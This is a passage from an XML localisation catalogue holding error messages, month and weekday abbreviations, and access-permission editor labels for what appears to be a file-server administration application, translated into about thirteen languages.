<ja>DNS ホスト名は、NAT ルーターの外部アドレスとして提供されているため、無効となる可能性があります。静的外部 IP アドレスがある場合は、不要な DNS クエリを回避するために、DNS ホスト名の代わりにそのアドレスを指定してください。</ja>
<zh>无法解析所提供的作为 NAT 路由器外部地址的 DNS 主机名。如果您拥有静态外部 IP 地址,请指定该地址而不要使用 DNS 主机名,以避免不必要的 DNS 查询。</zh>
<ko>DNS 호스트 이름을 NAT 라우터의 외부 주소로 제공했는 데, 이 주소를 확인할 수 없습니다. 고정 외부 IP 주소를 가지는 경우 DNS 호스트 이름 대신 이 주소를 지정하여 불필요한 DNS 쿼리를 피하십시오.</ko>
<en-gb>You supplied a DNS host name as the external address of your NAT router, which could not be resolved. If you have a static external IP address, please specify that one instead of the DNS host name to avoid unnecessary DNS queries.</en-gb>
<hu>Egy DNS gazdagép-nevet adott meg a NAT útválasztó külső címeként, amelyet nem lehet feloldani. Ha Ön statikus IP címmel rendelkezik, akkor adja meg az, a DNS gazdagép-név helyett, a felesleges DNS-lekérdezések elkerüléséhez.</hu>
<pt-br>Você forneceu um nome de host DNS como endereço externo do seu roteador NAT, que não pôde ser resolvido. Caso possua um endereço IP externo estático, especifique-o em vez do nome de host DNS, para evitar consultas de DNS desnecessárias.</pt-br>
<nl>U hebt een DNS-hostnaam opgegeven als extern adres voor uw NAT-router, maar deze kon niet worden omgezet. Als u een statisch extern IP-adres hebt, moet u dit opgeven in plaats van de DNS-hostnaam om onnodige DNS-verzoeken te vermijden.</nl>
</msg>
<msg name="INVALID.RATIO">
<en>Invalid ratio settings were supplied.</en>
<de>Sie haben ungültige Ratiowerte gesetzt.</de>
<es>Se ha facilitado una configuración de ratio no válida.</es>
<fr>Des paramètres de ratio incorrects ont été définis</fr>
<it>Sono state specificate impostazioni di rapporto non valide.</it>
<ru>Предоставлены недопустимые параметры отношений.</ru>
<ja>無効な比率が設定されました。</ja>
<zh>提供的比例设置无效。</zh>
<ko>올바르지 않은 비율 설정이 제공되었습니다.</ko>
<en-gb>Invalid ratio settings were supplied.</en-gb>
<hu>Érvénytelen arány-beállításokat adott meg.</hu>
<pt-br>Foram fornecidas configurações de proporção inválidas.</pt-br>
<nl>Er zijn ongeldige verhoudingsinstellingen opgegeven.</nl>
</msg>
<msg name="LOOPING.GROUP.HIERARCHY">
<en>Loop in group hierarchy.</en>
<de>Die Gruppenhierarchie weist eine Schleife auf.</de>
<es>Bucle en la jerarquía del grupo.</es>
<fr>Boucle (loop) dans la hiérarchie des groupes</fr>
<it>Ciclo continuo nella gerarchia dei gruppi.</it>
<ru>Петля в иерархии групп.</ru>
<ja>グループ階層にループがあります。</ja>
<zh>组层次结构中的循环。</zh>
<ko>그룹 계층 구조의 루프.</ko>
<en-gb>Loop in group hierarchy.</en-gb>
<hu>Hurok a csoport-hierarchiában.</hu>
<pt-br>Loop em hierarquia de grupo.</pt-br>
<nl>Lus in groepshiërarchie.</nl>
</msg>
<msg name="ODBC.REQDS">
<en>ODBC Data Source name is required.</en>
<de>Der ODBC Datenquellenname ist erforderlich.</de>
<es>Se necesita el nombre de la fuente de datos ODBC.</es>
<fr>Nom de Data Source ODBC requis</fr>
<it>Specificare il nome dell'origine dati ODBC.</it>
<ru>Требуется имя источника данных ODBC.</ru>
<ja>ODBC データ ソース名は必須です。</ja>
<zh>需要 ODBC 数据源名称。</zh>
<ko>ODBC 데이터 원본 이름은 필수입니다.</ko>
<en-gb>ODBC Data Source name is required.</en-gb>
<hu>ODBC adatforrás neve szükséges.</hu>
<pt-br>O nome da fonte de dados ODBC é necessário.</pt-br>
<nl>De naam van de ODBC-gegevensbron is vereist.</nl>
</msg>
<msg name="ODBC.REQTABLE">
<en>ODBC Table name is required.</en>
<de>Der ODBC Tabellenname ist erforderlich.</de>
<es>Se necesita el nombre de la tabla ODBC.</es>
<fr>Nom de la table ODBC requis</fr>
<it>Specificare il nome della tabella ODBC.</it>
<ru>Требуется имя таблицы ODBC.</ru>
<ja>ODBC テーブル名は必須です。</ja>
<zh>需要 ODBC 表名称。</zh>
<ko>ODBC 테이블 이름은 필수입니다.</ko>
<en-gb>ODBC Table name is required.</en-gb>
<hu>ODBC tábla neve szükséges.</hu>
<pt-br>O nome da tabela ODBC é necessário.</pt-br>
<nl>De naam van de ODBC-tabel is vereist.</nl>
</msg>
<msg name="ODBC.REQUSER">
<en>ODBC User name column is required.</en>
<de>Die ODBC Benutzernamensspalte ist erforderlich</de>
<es>Se necesita la columna Nombre de usuario ODBC.</es>
<fr>Colonne du nom utilisateur ODBC requise</fr>
<it>Specificare la colonna dei nomi utente ODBC.</it>
<ru>Требуется столбец имен пользователей ODBC.</ru>
<ja>ODBC ユーザ名の列は必須です。</ja>
<zh>需要“ODBC 用户名”列。</zh>
<ko>ODBC 사용자 이름 열은 필수입니다.</ko>
<en-gb>ODBC User name column is required.</en-gb>
<hu>ODBC felhasználói név oszlop szükséges.</hu>
<pt-br>A coluna de nome do usuário ODBC é necessária.</pt-br>
<nl>De kolom voor de ODBC-gebruikersnaam is vereist.</nl>
</msg>
<msg name="ODBC.REQPW">
<en>ODBC Password column is required.</en>
<de>Die ODBC Kennwortspalte ist erforderlich.</de>
<es>Se necesita la columna Contraseña ODBC.</es>
<fr>Colonne mot de passe ODBC requise</fr>
<it>Specificare la colonna delle password ODBC.</it>
<ru>Требуется столбец паролей ODBC.</ru>
<ja>ODBC パスワードの列は必須です。</ja>
<zh>需要“ODBC 密码”列。</zh>
<ko>ODBC 암호 열은 필수입니다.</ko>
<en-gb>ODBC Password column is required.</en-gb>
<hu>ODBC jelszó oszlop szükséges.</hu>
<pt-br>A coluna de senha ODBC é necessária.</pt-br>
<nl>De kolom voor het ODBC-wachtwoord is vereist.</nl>
</msg>
<msg name="ODBC.REQHOME">
<en>ODBC Home column is required.</en>
<de>Die ODBC "Home"-Spalte ist erforderlich.</de>
<es>Se necesita la columna Inicio ODBC.</es>
<fr>Colonne Home ODBC requise</fr>
<it>Specificare la colonna home ODBC.</it>
<ru>Требуется столбец ODBC Home.</ru>
<ja>ODBC ホームの列は必須です。</ja>
<zh>需要“ODBC 主目录”列。</zh>
<ko>ODBC 홈 열은 필수입니다.</ko>
<en-gb>ODBC Home column is required.</en-gb>
<hu>ODBC Kezdő oszlop szükséges.</hu>
<pt-br>A coluna inicial ODBC é necessária.</pt-br>
<nl>De kolom voor de ODBC-basismap is vereist.</nl>
</msg>
<msg name="INVALID.IPFILTER">
<en>IP Filter Profile not found!</en>
<de>IP Filterprofil nicht gefunden!</de>
<es>No se ha encontrado el perfil de filtro IP.</es>
<fr>Profil du Filtre IP non trouvé!</fr>
<it>Profilo di filtro IP non trovato.</it>
<ru>Профиль IP-фильтров не найден!</ru>
<ja>IP フィルタのプロファイルが見つかりません。</ja>
<zh>未找到 IP 过滤器配置文件!</zh>
<ko>IP 필터 프로필을 찾을 수 없습니다!</ko>
<en-gb>IP Filter Profile not found!</en-gb>
<hu>IP-szűrő profil nem található!</hu>
<pt-br>Perfil de filtro IP não encontrado!</pt-br>
<nl>Het IP-filterprofiel is niet gevonden!</nl>
</msg>
<msg name="INVALID.DIRECTORY">
<en>An invalid directory path was entered.</en>
<de>Der eingegebene Verzeichnispfad ist ungültig.</de>
<es>Se ha introducido una ruta de directorio no válida.</es>
<fr>Un chemin incorrect de dossier à été saisie.</fr>
<it>Percorso di directory non valido.</it>
<ru>Введен неверный путь к каталогу.</ru>
<ja>無効なディレクトリ パスが入力されました。</ja>
<zh>输入的目录路径无效。</zh>
<ko>올바르지 않은 디렉터리 경로가 입력되었습니다.</ko>
<en-gb>An invalid directory path was entered.</en-gb>
<hu>Érvénytelen könyvtár-elérési út van megadva.</hu>
<pt-br>Foi digitado um caminho de diretório inválido.</pt-br>
<nl>Er werd een ongeldig pad voor de map opgegeven.</nl>
</msg>
<msg name="SIMULTANEOUS.SESSIONS.ERROR">
<en>The app cannot run simultaneously in two different sessions</en>
<de>Die App kann nicht in zwei Sitzungen gleichzeitig ausgeführt werden.</de>
<es>La aplicación no se puede ejecutar de manera simultánea en dos sesiones distintas</es>
<fr>Impossible d'exécuter l'app en même temps dans deux sessions distinctes</fr>
<it>L'app non può venire eseguita simultaneamente in due sessioni diverse</it>
<ru>Приложение не может выполняться одновременно в двух различных сеансах</ru>
<ja>このアプリを 2 つのセッションで同時に実行することはできません</ja>
<zh>应用程序无法同时在两个不同的会话中运行。</zh>
<ko>앱이 다른 두 세션에서 동시에 실행될 수 없습니다</ko>
<en-gb>The app cannot run simultaneously in two different sessions</en-gb>
<hu>Az alkalmazás nem futtatható egyszerre két munkamenetben</hu>
<pt-br>O aplicativo não pode ser executado simultaneamente em duas sessões diferentes</pt-br>
<nl>De app kan niet tegelijkertijd in twee verschillende sessies uitgevoerd worden</nl>
</msg>
</cat>
</cat>
<!-- calendar-->
<cat name="CAL">
<msg name="JAN">
<en>Jan</en>
<de>Jan</de>
<es>Ene</es>
<fr>Jan</fr>
<it>Gen.</it>
<ru>Янв</ru>
<ja>1 月</ja>
<zh>一月</zh>
<ko>1월</ko>
<en-gb>Jan</en-gb>
<hu>Jan</hu>
<pt-br>Jan</pt-br>
<nl>jan</nl>
</msg>
<msg name="FEB">
<en>Feb</en>
<de>Feb</de>
<es>Feb</es>
<fr>Fév</fr>
<it>Feb.</it>
<ru>Фев</ru>
<ja>2 月</ja>
<zh>二月</zh>
<ko>2월</ko>
<en-gb>Feb</en-gb>
<hu>Feb</hu>
<pt-br>Fev</pt-br>
<nl>feb</nl>
</msg>
<msg name="MAR">
<en>Mar</en>
<de>Mär</de>
<es>Mar</es>
<fr>Mar</fr>
<it>Mar.</it>
<ru>Мар</ru>
<ja>3 月</ja>
<zh>三月</zh>
<ko>3월</ko>
<en-gb>Mar</en-gb>
<hu>Már</hu>
<pt-br>Mar</pt-br>
<nl>mrt</nl>
</msg>
<msg name="APR">
<en>Apr</en>
<de>Apr</de>
<es>Abr</es>
<fr>Avr</fr>
<it>Apr.</it>
<ru>Апр</ru>
<ja>4 月</ja>
<zh>四月</zh>
<ko>4월</ko>
<en-gb>Apr</en-gb>
<hu>Ápr</hu>
<pt-br>Abr</pt-br>
<nl>apr</nl>
</msg>
<msg name="MAY">
<en>May</en>
<de>Mai</de>
<es>May</es>
<fr>Mai</fr>
<it>Mag.</it>
<ru>Май</ru>
<ja>5 月</ja>
<zh>五月</zh>
<ko>5월</ko>
<en-gb>May</en-gb>
<hu>Máj</hu>
<pt-br>Mai</pt-br>
<nl>mei</nl>
</msg>
<msg name="JUN">
<en>Jun</en>
<de>Jun</de>
<es>Jun</es>
<fr>Juin</fr>
<it>Giu.</it>
<ru>Июн</ru>
<ja>6 月</ja>
<zh>六月</zh>
<ko>6월</ko>
<en-gb>Jun</en-gb>
<hu>Jún</hu>
<pt-br>Jun</pt-br>
<nl>jun</nl>
</msg>
<msg name="JUL">
<en>Jul</en>
<de>Jul</de>
<es>Jul</es>
<fr>Jui</fr>
<it>Lug.</it>
<ru>Июл</ru>
<ja>7 月</ja>
<zh>七月</zh>
<ko>7월</ko>
<en-gb>Jul</en-gb>
<hu>Júl</hu>
<pt-br>Jul</pt-br>
<nl>jul</nl>
</msg>
<msg name="AUG">
<en>Aug</en>
<de>Aug</de>
<es>Ago</es>
<fr>Aoû</fr>
<it>Ago.</it>
<ru>Авг</ru>
<ja>8 月</ja>
<zh>八月</zh>
<ko>8월</ko>
<en-gb>Aug</en-gb>
<hu>Aug</hu>
<pt-br>Ago</pt-br>
<nl>aug</nl>
</msg>
<msg name="SEP">
<en>Sep</en>
<de>Sep</de>
<es>Sep</es>
<fr>Sep</fr>
<it>Set.</it>
<ru>Сен</ru>
<ja>9 月</ja>
<zh>九月</zh>
<ko>9월</ko>
<en-gb>Sep</en-gb>
<hu>Sze</hu>
<pt-br>Set</pt-br>
<nl>sep</nl>
</msg>
<msg name="OCT">
<en>Oct</en>
<de>Okt</de>
<es>Oct</es>
<fr>Oct</fr>
<it>Ott.</it>
<ru>Окт</ru>
<ja>10 月</ja>
<zh>十月</zh>
<ko>10월</ko>
<en-gb>Oct</en-gb>
<hu>Okt</hu>
<pt-br>Out</pt-br>
<nl>okt</nl>
</msg>
<msg name="NOV">
<en>Nov</en>
<de>Nov</de>
<es>Nov</es>
<fr>Nov</fr>
<it>Nov.</it>
<ru>Ноя</ru>
<ja>11 月</ja>
<zh>十一月</zh>
<ko>11월</ko>
<en-gb>Nov</en-gb>
<hu>Nov</hu>
<pt-br>Nov</pt-br>
<nl>nov</nl>
</msg>
<msg name="DEC">
<en>Dec</en>
<de>Dez</de>
<es>Dic</es>
<fr>Déc</fr>
<it>Dic.</it>
<ru>Дек</ru>
<ja>12 月</ja>
<zh>十二月</zh>
<ko>12월</ko>
<en-gb>Dec</en-gb>
<hu>Dec</hu>
<pt-br>Dez</pt-br>
<nl>dec</nl>
</msg>
<msg name="MON">
<en>Mon</en>
<de>Mo</de>
<es>Lun</es>
<fr>Lun</fr>
<it>Lun.</it>
<ru>Пнд</ru>
<ja>月曜日</ja>
<zh>星期一</zh>
<ko>월</ko>
<en-gb>Mon</en-gb>
<hu>Hét</hu>
<pt-br>Seg</pt-br>
<nl>ma</nl>
</msg>
<msg name="TUE">
<en>Tue</en>
<de>Di</de>
<es>Mar</es>
<fr>Mar</fr>
<it>Mar.</it>
<ru>Втр</ru>
<ja>火曜日</ja>
<zh>星期二</zh>
<ko>화</ko>
<en-gb>Tue</en-gb>
<hu>Ked</hu>
<pt-br>Ter</pt-br>
<nl>di</nl>
</msg>
<msg name="WED">
<en>Wed</en>
<de>Mi</de>
<es>Mie</es>
<fr>Mer</fr>
<it>Mer.</it>
<ru>Срд</ru>
<ja>水曜日</ja>
<zh>星期三</zh>
<ko>수</ko>
<en-gb>Wed</en-gb>
<hu>Sze</hu>
<pt-br>Qua</pt-br>
<nl>wo</nl>
</msg>
<msg name="THU">
<en>Thu</en>
<de>Do</de>
<es>Jue</es>
<fr>Jeu</fr>
<it>Gio.</it>
<ru>Чтв</ru>
<ja>木曜日</ja>
<zh>星期四</zh>
<ko>목</ko>
<en-gb>Thu</en-gb>
<hu>Csü</hu>
<pt-br>Qui</pt-br>
<nl>do</nl>
</msg>
<msg name="FRI">
<en>Fri</en>
<de>Fr</de>
<es>Vie</es>
<fr>Ven</fr>
<it>Ven.</it>
<ru>Птн</ru>
<ja>金曜日</ja>
<zh>星期五</zh>
<ko>금</ko>
<en-gb>Fri</en-gb>
<hu>Pén</hu>
<pt-br>Sex</pt-br>
<nl>vr</nl>
</msg>
<msg name="SAT">
<en>Sat</en>
<de>Sa</de>
<es>Sab</es>
<fr>Sam</fr>
<it>Sab.</it>
<ru>Сбт</ru>
<ja>土曜日</ja>
<zh>星期六</zh>
<ko>토</ko>
<en-gb>Sat</en-gb>
<hu>Szo</hu>
<pt-br>Sáb</pt-br>
<nl>za</nl>
</msg>
<msg name="SUN">
<en>Sun</en>
<de>So</de>
<es>Dom</es>
<fr>Dim</fr>
<it>Dom.</it>
<ru>Вск</ru>
<ja>日曜日</ja>
<zh>星期日</zh>
<ko>일</ko>
<en-gb>Sun</en-gb>
<hu>Vas</hu>
<pt-br>Dom</pt-br>
<nl>zo</nl>
</msg>
</cat>
<!-- access control list editor -->
<cat name="ACL">
<msg name="EDIT">
<en>Change access permissions</en>
<de>Zugriffsberechtigungen ändern</de>
<es>Cambiar permisos de acceso</es>
<fr>Modifié les permissions d'accès</fr>
<it>Cambia autorizzazioni di accesso</it>
<ru>Изменить разрешения доступа</ru>
<ja>アクセス権限の変更</ja>
<zh>更改访问权限</zh>
<ko>액세스 권한 변경</ko>
<en-gb>Change access permissions</en-gb>
<hu>Hozzáférési engedélyek módosítása</hu>
<pt-br>Alterar permissões de acesso</pt-br>
<nl>Machtigingen voor toegang wijzigen</nl>
</msg>
<msg name="TITLE">
<en>Access Permissions</en>
<de>Zugriffsberechtigungen</de>
<es>Permisos de acceso</es>
<fr>Permissions d'accès</fr>
<it>Autorizzazioni di accesso</it>
<ru>Разрешения доступа</ru>
<ja>アクセス権限</ja>
<zh>访问权限</zh>
<ko>액세스 권한</ko>
<en-gb>Access Permissions</en-gb>
<hu>Hozzáférési engedélyek</hu>
<pt-br>Permissões de acesso</pt-br>
<nl>Machtigingen voor toegang</nl>
</msg>
<msg name="OBJECTS">
<en>Selected Objects:</en>
<de>Ausgewählte Objekte:</de>
<es>Objetos seleccionados:</es>
<fr>Objets sélectionnés:</fr>
<it>Oggetti selezionati:</it>
<ru>Выбранные объекты:</ru>
<ja>選択されているオブジェクト :</ja>
<zh>所选择的对象:</zh>
<ko>선택된 개체:</ko>
<en-gb>Selected Objects:</en-gb>
<hu>Kiválasztott objektumok:</hu>
<pt-br>Objetos selecionados:</pt-br>
<nl>Geselecteerde objecten:</nl>
</msg>
<msg name="ACES">
<en>You are about to apply the following permissions to the selected object(s):</en>
<de>Sie erteilen den ausgewählten Objekten die folgenden Berechtigung(en):</de>
<es>Está a punto de aplicar los siguientes permisos al/a los objeto(s) seleccionado(s):</es>
<fr>Vous êtes sur le point de d'appliquer les permissions suivantes à (aux) object(s) choisi(s) :</fr>
<it>Si stanno per applicare all'oggetto o agli oggetti selezionati le seguenti autorizzazioni:</it>
<ru>Сейчас будут применены следующие разрешения к выбранным объектам:</ru>
<ja>選択されているオブジェクトに対し、次の権限を適用しようとしています。</ja>
<zh>您要将以下权限应用到所选的对象上:</zh>
<ko>다음 권한을 선택된 개체에 적용할 것입니다:</ko>
<en-gb>You are about to apply the following permissions to the selected object(s):</en-gb>
<hu>A következő engedélyeket fogja alkalmazni a kiválasztott objektum(ok)ra:</hu>
<pt-br>Você está prestes a aplicar as seguintes permissões ao(s) objeto(s) selecionado(s):</pt-br>
<nl>De volgende machtigingen zullen worden toegepast op de geselecteerde objecten:</nl>
</msg>
<msg name="PERME">
<en>Permissions</en>
<de>Berechtigungen</de>
<es>Permisos</es>
<fr>Permissions</fr>
<it>Autorizzazioni</it>
<ru>Разрешения</ru>
<ja>権限</ja>
<zh>权限</zh>
<ko>권한</ko>
<en-gb>Permissions</en-gb>
<hu>Engedélyek</hu>
<pt-br>Permissões</pt-br>
<nl>Machtigingen</nl>
</msg>
<msg name="PERMI">
<en>Contents will inherit</en>
<de>Berechtigungen auf untergeordnete Objekte vererben</de>
<es>Se heredarán los contenidos</es>
<fr>Appliquera les permissions au contenu</fr>
<it>Ereditate dai contenuti</it>
<ru>Содержимое будет наследовать</ru>
<ja>コンテンツは次を継承します</ja>
<zh>内容将继承</zh>
<ko>내용이 상속됩니다.</ko>
<en-gb>Contents will inherit</en-gb>
<hu>A tartalom öröklődni fog</hu>
<pt-br>O conteúdo será herdado</pt-br>
<nl>Inhoud neemt over</nl>
</msg>
<msg name="TYPEMISMATCH">
<en>You can only view permissions of objects
of the same type. Please select only files
or select only directories.</en>
<de>Sie können diese Operation nur auf Objekte des gleichen Typs anwenden. Bitte wählen Sie nur Dateien oder nur Ordner.</de>
<es>Sólo puede ver los permisos de los objetos
del mismo tipo. Seleccione sólo archivos
o sólo directorios.</es>
<fr>Vous ne pouvez que consulter les permissions des objets
du même type. Veuillez sélectionner que des fichiers
ou que des dossiers</fr>
<it>È possibile visualizzare solo le autorizzazioni dello stesso tipo. Selezionare solo file o solo directory.</it>
<ru>Можно только просматривать разрешения объектов того же типа. Выберите только файлы или только каталоги.</ru>
<ja>同じ型のオブジェクトの権限のみ表示できます。ファイルのみ、またはディレクトリのみを選択してください。</ja>
<zh>您只能查看相同类型对象的权限。请只选择文件或目录。</zh>
<ko>동일한 유형의 개체 권한만 볼 수 있습니다. 파일만 선택하거나 디렉터리만 선택하십시오.</ko>
<en-gb>You can only view permissions of objects of the same type. Please select only files or select only directories.</en-gb>
<hu>Csak az azonos típusú objektumok engedélyeit
tekintheti meg. Kérem, válasszon csak fájlokat
vagy válasszon csak könyvtárakat.</hu>
<pt-br>Você só pode exibir permissões de objetos
do mesmo tipo. Selecione somente arquivos
ou somente diretórios.</pt-br>
<nl>U kunt alleen de machtigingen van objecten van hetzelfde type weergeven. Selecteer alleen bestanden of selecteer alleen mappen.</nl>
</msg>
<msg name="ACLMISMATCH">
<en>The objects you have selected have different
permissions assigned to them. If you apply permission
changes, the different settings will be overwritten.</en>
<de>Die ausgewählten Objekte besitzen unterschiedliche Berechtigungen. Wenn Sie nun Berechtigungen in der Gruppe zuweisen werden die individuellen Berechtigungen überschrieben.</de>
<es>Estos objetos que ha seleccionado tiene asignados
distintos permisos. Si aplica los cambios de permiso
la configuración distinta será sobrescrita.</es>
<fr>Les objets que vous avez sélectionnés ont des permissions
différentes qui leurs sont attribuées. si vous appliquer les changements de permission,
les différents paramètres seront écrasés.</fr>
<it>Gli oggetti selezionati dispongono di autorizzazioni diverse. Se le autorizzazioni vengono modificate, le impostazioni diverse verranno sovrascritte.</it>
<ru>Выбранным объектам назначены различные разрешения. Если применить изменения разрешений, то различие в настройках разрешений будет перезаписано.</ru>
<ja>選択したオブジェクトには、それぞれ異なる権限が割り当てられています。権限の変更を適用する場合、それぞれの設定は上書きされます。</ja>
<zh>您所选择的对象被授予了不同权限。如果应用权限更改,则将覆盖不同设置。</zh>
<ko>선택한 개체에 다른 권한이 할당되었습니다. 권한 변경사항을 적용할 경우 다른 설정은 덮어쓰기됩니다.</ko>
<en-gb>The objects you have selected have different permissions assigned to them. If you apply permission changes, the different settings will be overwritten.</en-gb>
<hu>A kiválasztott objektumok különböző
hozzárendelt engedélyekkel rendelkeznek. Amennyiben az engedély-módosításokat
alkalmazza, az ettől eltérő beállítások felülíródnak.</hu>
<pt-br>Os objetos que você selecionou possuem diferentes
permissões atribuídas a eles. Se você aplicar alterações de permissão,
as configurações diferentes serão sobrescritas.</pt-br>
<nl>Aan de objecten die u hebt geselecteerd zijn verschillende machtigingen toegewezen. Als u wijzigingen in de machtigingen aanbrengt, worden de verschillende instellingen overschreven.</nl>
</msg>
<msg name="DIROPTIONS">
<en>Options for directories:</en>
<de>Optionen für Verzeichnisse</de>
<es>Opciones para directorios:</es>
<fr>Options des dossiers:</fr>
<it>Opzioni per directory:</it>
<ru>Варианты для каталогов:</ru>
<ja>ディレクトリのオプション :</ja>
<zh>目录选项:</zh>
<ko>디렉터리 옵션:</ko>
<en-gb>Options for directories:</en-gb>
<hu>Beállítások a könyvtárakhoz:</hu>
<pt-br>Opções para diretórios:</pt-br>
<nl>Opties voor mappen:</nl>
</msg>
<cat name="BUTTON">
<msg name="NEW">
<en>Add new permission</en>
<de>Neue Berechtigung hinzufügen</de>
<es>Agregar nuevo permiso</es>
<fr>Ajout de nouvelles permissions</fr>
<it>Aggiungi nuova autorizzazione</it>
<ru>Добавить новое разрешение</ru>
<ja>新しい権限の追加</ja>
<zh>添加新权限</zh>
<ko>새 권한 추가</ko>
<en-gb>Add new permission</en-gb>
<hu>Új engedély hozzáadása</hu>
<pt-br>Adicionar nova permissão</pt-br>
<nl>Nieuwe machtiging toevoegen</nl>
</msg>
<msg name="ADD">
<en>Add these permissions</en>
<de>Diese Berechtigungen hinzufügen</de>
<es>Agregar estos permisos</es>
<fr>Ajoute ces nouvelles permissions</fr>
<it>Aggiungi queste autorizzazioni</it>
<ru>Добавить эти разрешения</ru>
<ja>これらの権限を追加</ja>
<zh>添加这些权限</zh>
<ko>해당 권한 추가</ko>
<en-gb>Add these permissions</en-gb>
<hu>Ezen engedélyek hozzáadása</hu>
<pt-br>Adicionar estas permissões</pt-br>
<nl>Deze machtigingen toevoegen</nl>
</msg>
<msg name="DEL">
<en>Remove selected</en>
<de>Auswahl löschen</de>
<es>Quitar seleccionados</es>
<fr>Supprime la sélection</fr>
<it>Rimuovi elementi selezionati</it>
<ru>Удалить выбранное</ru>
<ja>選択された権限を削除</ja>
<zh>删除所选项</zh>
<ko>선택한 항목 제거</ko>
<en-gb>Remove selected</en-gb>
<hu>Kiválasztottak eltávolítása</hu>
<pt-br>Remover selecionadas</pt-br>
<nl>Geselecteerde items verwijderen</nl>
</msg>
<msg name="APPLY">
<en>Apply changes</en>
<de>Änderungen übernehmen</de>
<es>Aplicar cambios</es>
<fr>Appliquer les changements</fr>
<it>Applica modifiche</it>
<ru>Применить изменения</ru>
<ja>変更の適用</ja>
<zh>应用更改</zh>
<ko>변경 사항 적용</ko>
<en-gb>Apply changes</en-gb>
<hu>Módosítások alkalmazása</hu>
<pt-br>Aplicar alterações</pt-br>
<nl>Wijzigingen toepassen</nl>
</msg>
<msg name="CANCEL">
<en>Cancel</en>
<de>Abbrechen</de>
<es>Cancelar</es>
<fr>Annuler</fr>
<it>Annulla</it>
<ru>Отмена</ru>
<ja>取り消し</ja>
<zh>取消</zh>
<ko>취소</ko>
<en-gb>Cancel</en-gb>
<hu>Mégse</hu>
<pt-br>Cancelar</pt-br>
<nl>Annuleren</nl>
</msg>
<msg name="UPDFILES">
<en>Replace permissions on existing files</en>
<de>Berechtigungen existierender Dateien ersetzen</de>
<es>Sustituir permisos en archivos existentes</es>
<fr>Ramplace les permissions sur les fichiers existants</fr>
<it>Sostituisci le autorizzazioni per i file esistenti</it>
<ru>Заменить разрешения существующих файлов</ru>
<ja>既存のファイルに対する権限を変更する</ja>
<zh>替换现有文件的权限</zh>
<ko>기존 파일에 대한 권한 바꾸기</ko>
<en-gb>Replace permissions on existing files</en-gb>
<hu>Meglévő fájlok engedélyeinek cseréje</hu>
<pt-br>Substituir permissões nos arquivos existentes</pt-br>
<nl>Machtigingen voor bestaande bestanden vervangen</nl>
</msg>
<msg name="UPDDIRS">
<en>Replace permissions on subdirectories</en>
<de>Berechtigungen in Unterverzeichnisse ersetzen</de>
<es>Sustituir permisos en subcarpetas</es>
<fr>Remplce les permissions sur les sous dossiers</fr>
<it>Sostituisci le autorizzazioni per le subdirectory</it>
<ru>Заменить разрешения подкаталогов</ru>
<ja>サブディレクトリに対する権限を変更する</ja>
<zh>替换子目录的权限</zh>
<ko>하위 디렉터리에 대한 권한 바꾸기</ko>
<en-gb>Replace permissions on subdirectories</en-gb>
<hu>Alkönyvtárak engedélyeinek cseréje</hu>
<pt-br>Substituir permissões em subdiretórios</pt-br>
<nl>Machtigingen voor submappen vervangen</nl>
</msg>
</cat>
<cat name="MASK">
<msg name="NONE">
<en>Not Specified</en>
<de>Nicht spezifiziert</de>
<es>No especificado</es>
<fr>Non Spécifié</fr>
<it>Non specificato</it>
<ru>Не указано</ru>
<ja>指定なし</ja>
<zh>未指定</zh>
<ko>지정되지 않음</ko>
<en-gb>Not Specified</en-gb>
<hu>Nincs megadva</hu>
<pt-br>Não especificado</pt-br>
<nl>Niet opgegeven</nl>
</msg>
<msg name="DENY">
<en>Deny Access</en>
<de>Zugriff verweigert</de>
<es>Denegar acceso</es>
<fr>Accès Refusé</fr>
<it>Nega accesso</it>
<ru>Запретить доступ</ru>
<ja>アクセスを拒否</ja>
<zh>拒绝访问</zh>
<ko>액세스 거부</ko>
<en-gb>Deny Access</en-gb>
<hu>Hozzáférés megtagadása</hu>
<pt-br>Negar acesso</pt-br>
<nl>Toegang weigeren</nl>
</msg>
<msg name="FULL">
<en>Full Control</en>
<de>Vollzugriff</de>
<es>Control total</es>
<fr>Contrôle Complet</fr>
<it>Controllo completo</it>
<ru>Полное управление</ru>
<ja>フル コントロール</ja>
<zh>完全控制</zh>
<ko>모든 권한</ko>
<en-gb>Full Control</en-gb>
<hu>Teljes vezérlés</hu>
<pt-br>Controle total</pt-br>
<nl>Volledige bevoegdheid</nl>
</msg>
<msg name="READ">
<en>Read (RX)</en>
<de>Lesen/Ausführen (RX)</de>
<es>Leer (RX)</es>
<fr>Lecture (RX)</fr>
<it>Lettura (LZ)</it>
<ru>Читать (RX)</ru>
<ja>読み取り (RX)</ja>
<zh>读取 (RX)</zh>
<ko>읽기(RX)</ko>
<en-gb>Read (RX)</en-gb>
<hu>Olvasás (RX)</hu>
<pt-br>Ler (RX)</pt-br>
<nl>Lezen (LU)</nl>
</msg>
<msg name="CHNG">
<en>Change (RWXD)</en>
<de>Ändern (RWXD)</de>
<es>Cambiar (RWXD)</es>
<fr>Mofdification (RWXD)</fr>
<it>Modifica (LSZE)</it>
<ru>Изменять (RWXD)</ru>
<ja>変更 (RWXD)</ja>
<zh>更改 (RWXD)</zh>
<ko>변경(RWXD)</ko>
<en-gb>Change (RWXD)</en-gb>
<hu>Módosítás (RWXD)</hu>
<pt-br>Alterar (RWXD)</pt-br>
<nl>Wijzigen (LSUV)</nl>
</msg>
<msg name="OTHER">
<en>Other</en>
<de>Andere</de>
<es>Otro</es>
<fr>Autre</fr>
<it>Altro</it>
<ru>Другое</ru>
<ja>その他</ja>
<zh>其他</zh>
<ko>기타</ko>
<en-gb>Other</en-gb>
<hu>Egyéb</hu>
<pt-br>Outros</pt-br>
<nl>Andere</nl>
</msg>
<msg name="R">
<en>Read (R)</en>
<de>Lesen (R)</de>
<es>Leer (R)</es>
<fr>Lecture (R)</fr>
<it>Lettura (L)</it>
<ru>Читать (R)</ru>
<ja>読み取り (R)</ja>
<zh>读取 (R)</zh>
<ko>읽기(R)</ko>
<en-gb>Read (R)</en-gb>
<hu>Olvasás (R)</hu>
<pt-br>(Ler (R)</pt-br>
<nl>Lezen (L)</nl>
</msg>
<msg name="W">
<en>Write (W)</en>
<de>Schreiben (W)</de>
<es>Escribir (W)</es>
<fr>Ecriture (W)</fr>
<it>Scrittura (S)</it>
<ru>Писать (W)</ru>
<ja>書き込み (W)</ja>
<zh>写入 (W)</zh>
<ko>쓰기(W)</ko>
<en-gb>Write (W)</en-gb>
<hu>Írás (W)</hu>
<pt-br>Gravar (W)</pt-br>
<nl>Schrijven (S)</nl>
</msg>
<msg name="X">
<en>Execute (X)</en>
<de>Ausführen (X)</de>
<es>Ejecutar (X)</es>
